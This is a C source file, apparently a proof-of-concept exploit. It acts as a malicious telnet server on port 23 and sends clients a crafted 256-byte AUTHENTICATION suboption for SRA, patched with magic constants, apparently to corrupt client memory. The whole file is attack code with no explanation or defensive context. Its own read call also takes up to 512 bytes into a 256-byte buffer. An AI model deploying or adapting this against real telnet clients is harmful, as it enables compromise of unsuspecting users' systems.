#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>

unsigned long long aa[] = {
0x101010101000033ull,
0x101010101010001ull,
0x10101010100ull,
0x30300032ull,
0xcfcfull,
0xc1cfull,
};
int aai;

#define IAC  255
#define DONT 254
#define DO   253
#define WONT 252
#define WILL 251
#define SB   250
#define SE   240

#define OPT_TTYPE    24
#define OPT_TSPEED   32
#define OPT_LINEMODE 34
#define OPT_XDISPLOC 35
#define OPT_OLD_ENVIRON 36
#define OPT_AUTHENTICATION 37
#define OPT_ENCRYPT  38
#define OPT_NEW_ENVIRON 39
#define OPT_LFLOW 33
#define OPT_NAWS 31

#define QUAL_IS 0
#define QUAL_SEND 1
#define QUAL_REPLY 2
#define QUAL_NAME 3

int
main(){

  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(23);

  int ss = socket(AF_INET, SOCK_STREAM, 0);
  int yes = 1;
  setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  if(bind(ss, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind");
    exit(1);
  }
  listen(ss, 10);


  memset(&sin, 0, sizeof(sin));
  socklen_t len = sizeof(sin);
  printf("listening...\n");
  int s1 = accept(ss, (struct sockaddr *)&sin, &len);
  if(s1 < 0){
    perror("accept");
    exit(1);
  }
  close(ss);

  {
    sleep(1);
    char buf[512];
    int n = read(s1, buf, sizeof(buf));
  }

  {
    char buf[] = {
      IAC, WILL, OPT_AUTHENTICATION,
      IAC, WILL, OPT_TTYPE,
      IAC, WILL, OPT_TSPEED,
      IAC, WILL, OPT_LFLOW,
      IAC, WILL, OPT_LINEMODE,
      IAC, WILL, OPT_XDISPLOC,
      IAC, WILL, OPT_NEW_ENVIRON,
      IAC, WILL, OPT_OLD_ENVIRON,
      IAC, WONT, OPT_ENCRYPT,
      IAC, DO, OPT_AUTHENTICATION,
      IAC, DO, OPT_TTYPE,
      IAC, DO, OPT_TSPEED,
      IAC, DO, OPT_LFLOW,
      IAC, DO, OPT_LINEMODE,
      IAC, DO, OPT_XDISPLOC,
      IAC, DO, OPT_NEW_ENVIRON,
      IAC, DO, OPT_OLD_ENVIRON,
      IAC, DONT, OPT_ENCRYPT,
    };
    write(s1, buf, sizeof(buf));
  }

  for(int iters = 0; iters < 2; iters++){
    char buf[256];
    memset(buf, '0', sizeof(buf));
    
    *(long long *)(buf+3+0) ^= aa[aai++];
    *(long long *)(buf+3+8) ^= aa[aai++];
    *(long long *)(buf+sizeof(buf)-2-8) ^= aa[aai++];

    buf[0] = (char)IAC;
    buf[1] = (char)SB;
    buf[2] = (char)OPT_AUTHENTICATION;
    buf[4] = 6; // sra
    buf[sizeof(buf)-2] = (char)IAC;
    buf[sizeof(buf)-1] = (char)SE;
    
    if(write(s1, buf, sizeof(buf)) != sizeof(buf))
      perror("write");

    {
      char bbb[512];
      read(s1, buf, sizeof(bbb));
    }
  }

  sleep(10);
}